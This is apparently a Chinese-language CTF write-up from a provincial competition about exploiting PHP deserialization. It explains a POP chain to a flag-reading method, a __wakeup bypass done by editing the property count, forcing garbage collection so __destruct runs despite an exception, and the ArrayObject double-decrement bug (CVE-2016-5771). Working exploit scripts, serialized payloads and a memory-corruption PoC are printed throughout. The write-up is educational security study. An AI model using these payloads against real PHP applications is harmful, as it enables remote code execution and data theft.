PHP垃圾回收器与反序列化的利用

题目源码

来源于浙江省赛的一道题目

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}

class Test{
    public function getFlag(){
        system("cat /flag");
    }
    public function __call($f,$p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A{
    public $a;
    public function __get($p){//用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B{
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $o = unserialize($pop);
    throw new Exception("no pop");
}

比较简单的反序列化,我都能看懂要干什么。。。

简单来说在类Fun中call_user_func函数调用getFlag,所以只需调用Fun里的__call,而Fun中不存在的方法即可。可以看到类A中__get方法中含有调用方法的语句。调用私有属性以及不存在的属性触发__get方法。这里借助类B即可达到。

call_user_func函数,第一个参数是函数名,后面的参数是此函数的参数。若调用的函数在类里,那么这个参数要用数组形式传递,第一个元素为类名,第二个元素为函数名。绕过__wakeup修改属性个数即可,可能包含不可见字符,要编码。

EXP:

<?php
class Fun{
    private $func;
    public function __construct(){
    $this->func = "Test::getFlag";
    }
}

class Test{
    public function getFlag(){
    }
}

class A{
    public $a;
}

class B{
    public $p;
}

$Test = new Test;
$Fun = new Fun;
$a = new A;
$b = new B;
$a->a = $Fun;
$b->a = $a;

$r = serialize($b);
$r1 = str_replace('"Fun":1:','"Fun":2:',$r);
echo urlencode($r1);

垃圾回收机制

在预期解中我们的pop链是class B -> class A::__get -> class Fun::__call -> class Test::getFlag,可是B里的__destruct()没有主动触发。

__destruct(析构函数)当某个对象成为垃圾或者当对象被显式销毁时执行

显式销毁,当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL
隐式销毁,PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉

在常规思路中destruct是隐式销毁触发的,那能不能利用显式销毁呢?

旧版本GC

在PHP5.3版本之前,垃圾回收机制采用的是简单的计数规则,没有专门的垃圾回收器的,只是简单的判断了一下变量的zval的refcount是否为0,是的话就释放否则不释放直至进程结束。

  1. 给每一个内存对象都分配一个计数器,当内存对象被变量引用时,计数器加一
  2. 当每个变量引用unset后,计数器减一
  3. 当计数器为0时,表明内存对象没有被使用,该内存对象进行销毁,垃圾回收

但是,如果内存对象本身被自己引用,就会出现一个问题:自己占一个,被引用后计数器再加一。引用撤掉后,计数器减一,只有计数器归零才能回收,但此时计数器是1,因此产生了内存泄漏。

新版本GC - zval结构体

zval ("Zend Value" 的缩写) 代表任意 PHP 值。所以它可能是所有 PHP 中最重要的结构,并且在使用 PHP 的时候,它也在进行大量工作。

refcount:多少个变量是一样的用了相同的值,这个数值就是多少。
is_ref:bool类型,当refcount大于2的时候,其中一个变量用了地址&的形式进行赋值,好了,它就变成1了。

举个例子:

<?php
$name = "111";
xdebug_debug_zval('name');
//(refcount=1, is_ref=0)string '111' (length=3)

增加一个数:

<?php
$name = "111";
$temp_name = $name;
xdebug_debug_zval('name');
//(refcount=2, is_ref=0)string '111' (length=3)

引用赋值:

<?php
$name = "111";
$temp_name = &$name;
xdebug_debug_zval('name');
//(refcount=2, is_ref=1)string '111' (length=3)

主动销毁变量:

<?php
$name = "111";
$temp_name = &$name;
xdebug_debug_zval('name');
unset($temp_name);
xdebug_debug_zval('name');
//name:
//(refcount=2, is_ref=1)string '111' (length=3)
//name:
//(refcount=1, is_ref=1)string '111' (length=3)

refcount计数减1,说明unset并非一定会释放内存,当有两个变量指向的时候,并非会释放变量占用的内存,只是refcount减1.

触发垃圾回收

该算法的实现可以在Zend/zend_gc.chttps://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c )中找到。每当zval被销毁时(例如:在该zval上调用unset时),垃圾回收算法会检查其是否为数组或对象。除了数组和对象外,所有其他原始数据类型都不能包含循环引用。这一检查过程通过调用gc_zval_possible_root函数来实现。任何这种潜在的zval都被称为根(Root),并会被添加到一个名为gc_root_buffer的列表中。
然后,将会重复上述步骤,直至满足下述条件之一:

  1. gc_collect_cycles()被手动调用( http://php.net/manual/de/function.gc-collect-cycles.php );
  2. 垃圾存储空间将满。这也就意味着,在根缓冲区的位置已经存储了10000个zval,并且即将添加新的根。这里的10000是由Zend/zend_gc.chttps://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c )头部中GC_ROOT_BUFFER_MAX_ENTRIES所定义的默认限制。当出现第10001个zval时,将会再次调用gc_zval_possible_root,这时将会再次执行对gc_collect_cycles的调用以处理并刷新当前缓冲区,从而可以再次存储新的元素。

由于现实环境的种种限制,手动调用gc_collect_cycles()并不现实。也就是说,我们要强行触发gc,要靠填满垃圾存储空间

反序列化

要知道,反序列化过程允许一遍又一遍地传递相同的索引,所以不断会填充内存空间。一旦重新使用数组索引,旧元素的引用计数器就会递减。在反序列化过程中将会调用zend_hash_update,它将调用旧元素的析构函数(Destructor)。每当zval被销毁时,都会涉及到垃圾回收。这也就意味着,所有创建的数组都会开始填充垃圾缓冲区,直至超出其空间导致对gc_collect_cycles的调用。

反序列化过程会跟踪所有未序列化的元素,以允许设置引用,因此反序列化期间所有元素的引用计数器值都大于完成后的值。而全部条目都存储在列表var_hash中,一旦反序列化过程即将完成,就会破坏函数var_destroy中的条目,所以针对每个在特定元素上的附加引用,我们必须让引用计数增加2,超出其内存空间,调用gc_collect_cycles

ArrayObject

// POC of the ArrayObject GC vulnerability
<?php
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($outer_array);
// Result:
// string(4) "bbbb"

我们通常的期望是输出如下:

array(1) { // outer_array
  [1]=>
  object(ArrayObject)#1 (1) {
    ["storage":"ArrayObject":private]=>
    array(2) { // inner_array
      [1]=>
      // Reference to inner_array
      [2]=>
      // Reference to outer_array
    }
  }
}

但实际上,一旦该示例执行,外部数组(由$outer_array引用)将会被释放,并且zval将会被$filter2的zval覆盖,导致没有输出"bbbb"。

ArrayObject的反序列化函数接受对另一个数组的引用,以用于初始化的目的。这也就意味着,一旦我们对一个ArrayObject进行反序列化后,就可以引用任何之前已经被反序列化过的数组。此外,这还将允许我们将整个哈希表中的所有条目递减两次。

1、得到一个应被释放的目标zval X;
2、创建一个数组Y,其中包含几处对zval X的引用:array(ref_to_X, ref_to_X, […], ref_to_X)
3、创建一个ArrayObject,它将使用数组Y的内容进行初始化,因此会返回一次由垃圾回收标记算法访问过的数组Y的所有子元素。
通过上述步骤,我们可以操纵标记算法,对数组Y中的所有引用实现两次访问。但是,在反序列化过程中创建引用将会导致引用计数器增加2,所以还要找到解决方案:
4、使用与步骤3相同的方法,额外再创建一个ArrayObject。
一旦标记算法访问第二个ArrayObject,它将开始对数组Y中的所有引用进行第三次递减。我们现在就有方法能够使引用计数器递减,可以将该方法用于对任意目标zval的引用计数器实现清零。

举个例子

<?php

highlight_file(__FILE__);

$flag ="flag{".md5(time)."}";

class B {
    function __destruct() {
            echo "successful\n";
            echo $flag;
    }
}

unserialize($_GET[1]);

throw new Exception('中途退出啦');

我们假如要执行__destruct方法,打印flag,就得绕过这个throw new Exception。因为 __destruct 方法是在该对象被回收时调用,而 exception 会中断该进程对该对象的销毁。所以我们需要强制让php的GC(垃圾回收机制)去进行该对象的回收。

核心思想:反序列化一个数组,然后再利用第一个索引,来触发GC

简单来说,就是:

$a=array();
$a[0]=new B();
$a[1]=new B();
.....
$b = unserialize($a);

EXP:

class B{
    function __construct(){
        echo "AndyNoel";
    }
} 
echo serialize(array(new B, new B));

//a:2:{i:0;O:1:"B":0:{}i:1;O:1:"B":0:{}}

这样就能成功执行魔术方法了。

通俗易懂吧,那么让我们回到最开始的题目,怎么利用PHP垃圾回收机制呢?

EXP:

<?php
class B{
    public $p;
    public function __construct(){
        $this->a = new A();
    }
}

class A{
    public $a;
    public function __construct(){
        $this->a = new Fun();
    }
}

class Fun{
    private $func = 'call_user_func_array';
    public function __construct()
    {
        $this->func ="Test::getFlag";
    }
}
$c = array(new B, new B);
$a = serialize($c);
echo urlencode(str_replace('O:3:"Fun":1:','O:3:"Fun":2:',$a));

一样的原理,也是通过添加第一个索引达到触发GC的效果。

造成该漏洞的主要原因是ArrayObject缺少垃圾回收函数。该漏洞称为“双递减漏洞”,漏洞报告如下(CVE-2016-5771): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5771

参考链接:https://www.evonide.com/breaking-phps-garbage-collection-and-unserialize/

发布者

AndyNoel

一杯未尽,离怀多少。

发表回复